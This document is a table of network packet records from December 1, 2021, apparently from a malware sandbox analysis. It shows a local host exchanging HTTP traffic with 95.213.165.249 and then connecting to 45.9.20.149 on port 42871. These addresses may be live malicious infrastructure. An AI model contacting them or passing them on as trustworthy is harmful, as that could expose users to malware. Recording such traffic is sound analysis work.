Dec 1, 2021 10:05:02.441107988 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441124916 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441142082 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441155910 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.441159010 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441175938 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441199064 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441210032 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.441215992 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441234112 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441250086 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441251040 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.441266060 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.441283941 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.441307068 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.453717947 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.467397928 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.467441082 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.467469931 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.467498064 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.467545033 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.467588902 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499130964 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499161959 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499178886 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499196053 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499213934 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499228954 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499233961 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499248028 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499264956 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499283075 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499300957 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499304056 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499321938 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499340057 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499341011 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499360085 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499366045 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499377966 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499394894 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499402046 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499413967 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499428988 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499429941 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499449968 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499459982 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499466896 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499488115 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499505997 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499537945 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499538898 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499582052 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499612093 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499624014 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499655008 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499682903 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499710083 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499731064 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499752998 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499767065 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499780893 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499811888 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499823093 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499840021 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499871016 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499887943 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499907970 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499938965 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499969006 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.499984026 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.499993086 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.500020981 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.500034094 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.500111103 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.500150919 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.500174999 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.500313997 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.500360966 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.500363111 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.500516891 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.500564098 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.500602007 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.500713110 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.500758886 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.500967026 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501055002 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501107931 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.501140118 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501264095 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501310110 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.501380920 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501462936 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501507998 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.501647949 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501697063 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501744032 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.501866102 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501900911 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.501945019 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.501998901 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502115965 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502165079 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502201080 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502417088 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502527952 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502563000 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502582073 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502599001 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502615929 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502640963 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502660036 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502676964 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502693892 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502711058 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502721071 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502729893 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502748013 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502764940 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502770901 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502784014 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502803087 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502820015 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502820969 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502839088 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502847910 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502857924 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502875090 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502880096 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502895117 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502906084 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502912998 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502931118 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502953053 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.502954006 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502994061 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.502995014 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503036022 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503040075 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.503067970 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503108978 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503140926 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503160000 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.503187895 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503196955 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.503220081 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503261089 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503274918 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.503293991 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.503304005 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503340006 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503382921 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.503386021 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.503423929 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.512223959 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.525960922 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.526007891 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.526051044 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.526078939 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.526083946 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.526112080 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.557961941 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.557991982 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558043957 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558062077 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558093071 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558109045 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558125973 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558142900 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558159113 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558176994 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558192968 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558207989 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.558209896 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558228016 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558243036 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:02.558293104 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.558345079 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.562390089 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:02.621011019 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:06.537512064 CET	49837	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.594897985 CET	80	49837	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:06.595076084 CET	49837	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.595227957 CET	49837	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.595240116 CET	49837	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.652410030 CET	80	49837	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:06.695252895 CET	80	49837	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:06.695357084 CET	49837	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.695679903 CET	49837	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.736888885 CET	49838	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.752779007 CET	80	49837	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:06.794462919 CET	80	49838	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:06.794665098 CET	49838	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.794899940 CET	49838	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.794919968 CET	49838	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.852691889 CET	80	49838	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:06.893867970 CET	80	49838	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:06.894267082 CET	49838	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.894366980 CET	49838	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.947472095 CET	49839	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:06.951915979 CET	80	49838	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.004657984 CET	80	49839	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.005403996 CET	49839	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.005564928 CET	49839	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.005594969 CET	49839	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.062751055 CET	80	49839	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.107167006 CET	80	49839	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.107268095 CET	49839	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.107347965 CET	49839	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.150142908 CET	49840	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.166814089 CET	80	49839	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.207853079 CET	80	49840	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.207998991 CET	49840	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.208173037 CET	49840	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.208188057 CET	49840	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.266720057 CET	80	49840	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.309169054 CET	80	49840	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.309413910 CET	49840	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.323209047 CET	49840	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.358064890 CET	49841	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.380882025 CET	80	49840	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.416461945 CET	80	49841	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.416675091 CET	49841	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.416822910 CET	49841	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.416865110 CET	49841	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.475693941 CET	80	49841	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.525152922 CET	80	49841	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.525382996 CET	49841	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.525665998 CET	49841	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.562251091 CET	49842	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.585711956 CET	80	49841	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.620400906 CET	80	49842	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.620585918 CET	49842	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.620755911 CET	49842	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.620771885 CET	49842	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.679306984 CET	80	49842	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.726607084 CET	80	49842	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.726727009 CET	49842	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.726766109 CET	49842	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.784459114 CET	80	49842	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.792136908 CET	49843	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.849832058 CET	80	49843	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.849967957 CET	49843	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.850172997 CET	49843	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.850212097 CET	49843	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.907581091 CET	80	49843	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.948599100 CET	80	49843	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:07.948779106 CET	49843	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:07.949038029 CET	49843	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.006815910 CET	80	49843	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.007543087 CET	49844	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.065160036 CET	80	49844	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.065383911 CET	49844	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.065557003 CET	49844	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.065584898 CET	49844	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.123614073 CET	80	49844	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.175218105 CET	80	49844	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.175340891 CET	49844	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.175415993 CET	49844	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.209323883 CET	49845	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.233071089 CET	80	49844	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.267180920 CET	80	49845	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.267657042 CET	49845	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.267683029 CET	49845	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.267685890 CET	49845	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.327641010 CET	80	49845	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.373811007 CET	80	49845	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.373975039 CET	49845	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.373991966 CET	49845	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.406665087 CET	49846	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.432071924 CET	80	49845	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.465291023 CET	80	49846	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.465492964 CET	49846	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.472383976 CET	49846	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.472420931 CET	49846	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.531318903 CET	80	49846	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.576098919 CET	80	49846	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.576240063 CET	49846	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.584552050 CET	49846	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.642529011 CET	80	49846	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.692398071 CET	49847	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.750442982 CET	80	49847	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.753599882 CET	49847	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.885124922 CET	49847	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.885157108 CET	49847	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.942959070 CET	80	49847	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.991471052 CET	80	49847	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:08.991574049 CET	49847	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:08.991693020 CET	49847	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:09.049031019 CET	80	49847	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.796392918 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.854080915 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.854265928 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.879265070 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.879435062 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.936986923 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.937015057 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.937025070 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.937103033 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.937200069 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.937252998 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.937367916 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.939786911 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:21.994880915 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.994905949 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.994976044 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.995018005 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.995083094 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.995095015 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.995157003 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.995179892 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.995227098 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.995290995 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.995352030 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.995737076 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.995799065 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.995805025 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.995867968 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:21.996301889 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:21.996391058 CET	49849	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:22.003077030 CET	42871	49850	45.9.20.149	192.168.2.3
Dec 1, 2021 10:05:22.003212929 CET	49850	42871	192.168.2.3	45.9.20.149
Dec 1, 2021 10:05:22.052553892 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.053232908 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.053361893 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.053525925 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.053549051 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.053559065 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.053725958 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.054498911 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.054522991 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.054533958 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.054550886 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.054672956 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.054884911 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.055131912 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.055280924 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.055819035 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.099293947 CET	80	49849	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:22.101125956 CET	49849	80	192.168.2.3	95.213.165.249
